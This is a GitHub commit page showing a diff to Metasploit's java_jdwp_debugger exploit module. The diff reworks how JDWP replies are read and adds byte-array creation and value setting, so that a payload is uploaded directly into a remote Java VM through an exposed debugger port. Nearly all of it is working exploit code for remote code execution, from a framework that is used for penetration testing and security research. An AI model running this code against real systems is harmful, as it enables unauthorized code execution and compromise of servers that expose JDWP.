Skip to content

Commit 2882374

Browse files
committed
Land rapid7#5276, @lanjelot fixes rapid7#4243 and improves java_jdwp_debugger
2 parents 1653acd + a46975f commit 2882374

File tree

1 file changed

+59
-43
lines changed

1 file changed

+59
-43
lines changed

modules/exploits/multi/misc/java_jdwp_debugger.rb

Lines changed: 59 additions & 43 deletions
Original file line numberDiff line numberDiff line change
@@ -34,13 +34,15 @@ class Metasploit3 < Msf::Exploit::Remote
3434
SETSTATICVALUES_SIG = [3, 2]
3535
INVOKESTATICMETHOD_SIG = [3, 3]
3636
CREATENEWINSTANCE_SIG = [3, 4]
37+
ARRAYNEWINSTANCE_SIG = [4, 1]
3738
REFERENCETYPE_SIG = [9, 1]
3839
INVOKEMETHOD_SIG = [9, 6]
3940
STRINGVALUE_SIG = [10, 1]
4041
THREADNAME_SIG = [11, 1]
4142
THREADSUSPEND_SIG = [11, 2]
4243
THREADRESUME_SIG = [11, 3]
4344
THREADSTATUS_SIG = [11, 4]
45+
ARRAYSETVALUES_SIG = [13, 3]
4446
EVENTSET_SIG = [15, 1]
4547
EVENTCLEAR_SIG = [15, 2]
4648
EVENTCLEARALL_SIG = [15, 3]
@@ -173,13 +175,30 @@ def create_packet(cmdsig, data="")
173175

174176
# Reads packet response for JDWP protocol
175177
def read_reply(timeout = default_timeout)
176-
response = sock.get_once(-1, timeout)
178+
length = sock.get_once(4, timeout)
179+
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response length") unless length
180+
pkt_len = length.unpack('N')[0]
181+
if pkt_len < 4
182+
fail_with(Failure::Unknown, "#{peer} - Received corrupted response")
183+
end
184+
pkt_len = pkt_len - 4
185+
186+
response = sock.get_once(pkt_len, timeout)
177187
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response
178-
pktlen, id, flags, errcode = response.unpack('NNCn')
179-
response.slice!(0..10)
180-
if errcode != 0 && flags == REPLY_PACKET_TYPE
181-
fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{errcode}")
188+
while response.length < pkt_len
189+
partial = sock.get_once(pkt_len, timeout)
190+
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless partial
191+
response << partial
192+
end
193+
194+
fail_with(Failure::Unknown, "#{peer} - Received corrupted response") unless response.length == pkt_len
195+
196+
id, flags, err_code = response.unpack('NCn')
197+
response.slice!(0..6)
198+
if err_code != 0 && flags == REPLY_PACKET_TYPE
199+
fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{err_code}")
182200
end
201+
183202
response
184203
end
185204

@@ -322,10 +341,6 @@ def version
322341
"#{@vars["vm_name"]} - #{@vars["vm_version"]}"
323342
end
324343

325-
def is_java_eight
326-
version.downcase =~ /1[.]8[.]/
327-
end
328-
329344
# Returns reference for all threads currently running on target VM
330345
def get_all_threads
331346
sock.put(create_packet(ALLTHREADS_SIG))
@@ -630,6 +645,36 @@ def create_instance(class_id, thread_id, meth_id, args = [])
630645
buf
631646
end
632647

648+
# Creates a byte[]
649+
def create_array(len)
650+
target_class = get_class_by_name("[B")
651+
fail_with(Failure::Unknown, "target_class is nil") if target_class.nil?
652+
653+
type_id = target_class["reftype_id"]
654+
fail_with(Failure::Unknown, "type_id is nil") if type_id.nil?
655+
656+
data = format(@vars["referencetypeid_size"], type_id)
657+
data << [len].pack('N')
658+
659+
sock.put(create_packet(ARRAYNEWINSTANCE_SIG, data))
660+
buf = read_reply
661+
buf
662+
end
663+
664+
# Initializes the byte[] with values
665+
def set_values(obj_id, args = [])
666+
data = format(@vars["objectid_size"], obj_id)
667+
data << [0].pack('N')
668+
data << [args.length].pack('N')
669+
670+
args.each do |arg|
671+
data << [arg].pack('C')
672+
end
673+
674+
sock.put(create_packet(ARRAYSETVALUES_SIG, data))
675+
read_reply
676+
end
677+
633678
def temp_path
634679
return nil unless datastore['TMP_PATH']
635680
unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
@@ -709,43 +754,14 @@ def create_file(thread_id, filename)
709754
# Stores the payload on a new string created in target VM
710755
def upload_payload(thread_id, pl_exe)
711756
size = @vars["objectid_size"]
712-
if is_java_eight
713-
runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64;", "getDecoder")
714-
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
715-
else
716-
runtime_class , runtime_meth = get_class_and_method("Lsun/misc/BASE64Decoder;", "<init>")
717-
buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
718-
end
719-
unless buf[0] == [TAG_OBJECT].pack('C')
720-
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
721-
end
722-
723-
decoder = unformat(size, buf[1..1+size-1])
724-
if decoder.nil? || decoder == 0
725-
fail_with(Failure::Unknown, "Failed to create Base64 decoder object")
726-
end
727-
728-
cmd_obj_ids = create_string("#{Rex::Text.encode_base64(pl_exe)}")
729-
if cmd_obj_ids.length == 0
730-
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping")
731-
end
732757

733-
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
734-
data = [TAG_OBJECT].pack('C')
735-
data << format(size, cmd_obj_id)
736-
data_array = [data]
737-
738-
if is_java_eight
739-
runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64$Decoder;", "decode", "(Ljava/lang/String;)[B")
740-
else
741-
runtime_class , runtime_meth = get_class_and_method("Lsun/misc/CharacterDecoder;", "decodeBuffer", "(Ljava/lang/String;)[B")
742-
end
743-
buf = invoke(decoder, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
744-
unless buf[0] == [TAG_ARRAY].pack('C')
745-
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected ByteArray")
746-
end
758+
buf = create_array(pl_exe.length)
759+
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Array") unless buf[0] == [TAG_ARRAY].pack('C')
747760

748761
pl = unformat(size, buf[1..1+size-1])
762+
fail_with(Failure::Unknown, "Failed to create byte array to store payload") if pl.nil? || (pl == 0)
763+
764+
set_values(pl, pl_exe.bytes)
749765
pl
750766
end
751767

0 commit comments

Comments
 (0)